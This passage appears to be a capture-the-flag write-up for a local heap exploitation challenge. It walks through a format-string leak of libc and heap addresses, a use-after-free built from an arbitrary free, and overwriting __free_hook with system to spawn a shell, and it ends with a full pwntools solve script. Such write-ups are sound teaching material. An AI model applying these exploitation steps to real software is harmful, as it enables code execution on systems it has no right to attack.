We can controll that because it's `transaction[4]` field of `0x1c0` which is number of coins user sends
Pointer to a chunk having the `id` is 1 then it will be freed
That means i have arbitrary free
The idea i freeing the `password` field of `user1` so i have `uaf` bug.
## Leak the libc
Notice that there's a vulnerability in loop switch case
> printf(buf);
But i can only pass `4` bytes to `read` so the only thing that format string can do is leaking
I tried `0` to `9` and it can leak heap and libc( and the stack but i don't need it)


```python=
#leak the libc
p.recv(1024)
p.sendline(b'%3$p')
p.recvuntil(b'[-] Unknown Command: ')
leak_libc = p.recv(14)
leak_libc = int(leak_libc.decode(), 16)
libc.address = leak_libc - 894880
print('leak libc: {}'.format(hex(leak_libc)))
print('libc: {}'.format(hex(libc.address)))
#leak heap
p.recv(1024)
p.sendline(b'%9$p')
p.recvuntil(b'[-] Unknown Command: ')
leak_heap = p.recv(9)
#print('leak heap: {}'.format(leak_heap))
leak_heap = int(leak_heap.decode(), 16)
heap = leak_heap - 16
print('leak heap: {}'.format(hex(leak_heap)))
print('heap: {}'.format(hex(heap)))
```
## free the password chunk of user1
To free the `password` field i just need to put address of `password` to the `transaction[4]` of the first `send_coin` which is the number of coins
But i also have to change the `password` to point to another valid transaction with the id is `1` because it calls `free_transaction` 2 times of `user2`. To do this i make it point to itself
```python=
pass1_chunk = heap + 0x70
change_password(p64(pass1_chunk) + b'A'*8 + p64(1))
```
After `delete_user`

Now i have the same chunk in fastbin (offset of `password` is `0x70`)
Now i remove first 2 chunks in fastbin by `send_coin` to `user3`
## write to free hook
I register a user then `malloc` will return `heap + 0x70` to the struct user
Craft some metadata of `password` to not break the fastbin(actually it might be not neccessary)
> register_user(b'/bin/sh\x00', p64(heap + 0x220) + p64(heap + 0x70)) #password to not break the fastbin and first pointer points to name

First i register with `username` is `exploit` and `password` is `__malloc_hook` and it works
I can directly write `__free_hook` to `password` field of `/bin/sh` user but the program crashes many times so i just put a normal value then user `change_password` of `user1` to write `__free_hook`
Writting `system` to `__free_hook`

Because `delete_user` `free` the `name` field first so i set `username` is `/bin/sh`
Trigger `delete_user`

Success

solve.py
```python=
from pwn import *
elf = context.binary = ELF('/home/kakaka/Train/exploit/heap3/pwn3_uaf')
libc = elf.libc
p = process()
#gdb.attach(p)
def register_user(name, password):
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'> ')
p.sendline(name)
p.recvuntil(b'> ')
p.sendline(password)
p.recvuntil(b'> ')
p.sendline(password)
def login(name, password):
p.recvuntil(b'> ')
p.sendline(b'2')
p.recvuntil(b'> ')
p.sendline(name)
p.recvuntil(b'> ')
p.sendline(password)
def send_coin(receiver, coin):
p.recvuntil(b'> ')
p.sendline(b'2')
p.recvuntil(b'> ')
p.sendline(receiver)
p.recvuntil(b'> ')
p.sendline(str(coin).encode())
def display_user():
p.recvuntil(b'> ')
p.sendline(b'1')
def display_transactions():
p.recvuntil(b'> ')
p.sendline(b'3')
def change_password(new_password):
p.recvuntil(b'> ')
p.sendline(b'4')
p.recvuntil(b'> ')
p.sendline(new_password)
def delete_user():
p.recvuntil(b'> ')
p.sendline(b'5')
def logout():
p.recvuntil(b'> ')
p.sendline(b'6')
user1_pass = b'A'*16 + b'\x01'
user3_pass = b'B'*16
register_user(b'user1', user1_pass)
register_user(b'user2', b'pass')
register_user(b'user3', user3_pass)
################################################
# FREE PASS1 CHUNK
###############################################
login(b'user1', user1_pass)
#leak the libc
p.recv(1024)
p.sendline(b'%3$p')
p.recvuntil(b'[-] Unknown Command: ')
leak_libc = p.recv(14)
leak_libc = int(leak_libc.decode(), 16)
libc.address = leak_libc - 894880
print('leak libc: {}'.format(hex(leak_libc)))
print('libc: {}'.format(hex(libc.address)))
#leak heap
p.recv(1024)
p.sendline(b'%9$p')
p.recvuntil(b'[-] Unknown Command: ')
leak_heap = p.recv(9)
#print('leak heap: {}'.format(leak_heap))
leak_heap = int(leak_heap.decode(), 16)
heap = leak_heap - 16
print('leak heap: {}'.format(hex(leak_heap)))
print('heap: {}'.format(hex(heap)))
#pass3_chunk = heap + 0x190
pass1_chunk = heap + 0x70
change_password(p64(pass1_chunk) + b'A'*8 + p64(1))
#free the pass chunk
send_coin(b'user2', pass1_chunk) # controll the linked list
logout()
login(b'user2', b'pass')
send_coin(b'user2', 20)
delete_user() # free pass1 chunk
###########################################
# FREED PASS1 CHUNK
###########################################
#write free hook
print('free hook: {}'.format(hex(libc.symbols['__free_hook'])))
user1_pass = heap + 0x210
login(b'user1', p64(user1_pass))
send_coin(b'user1', 10) #remove 2 first chunks in fastbin
logout()
print('A')
register_user(b'/bin/sh\x00', p64(heap + 0x220) + p64(heap + 0x70)) #password to not break the fastbin and first pointer points to name
#change password pointer of /bin/sh
login(b'user1', p64(heap + 0x220))
change_password(p64(heap + 0x220) + p64(libc.symbols['__free_hook']))
logout()
#write to free hook
login(b'/bin/sh\x00', b'\x00' + b'A')
change_password(p64(libc.symbols['system']))
delete_user()
p.interactive()
```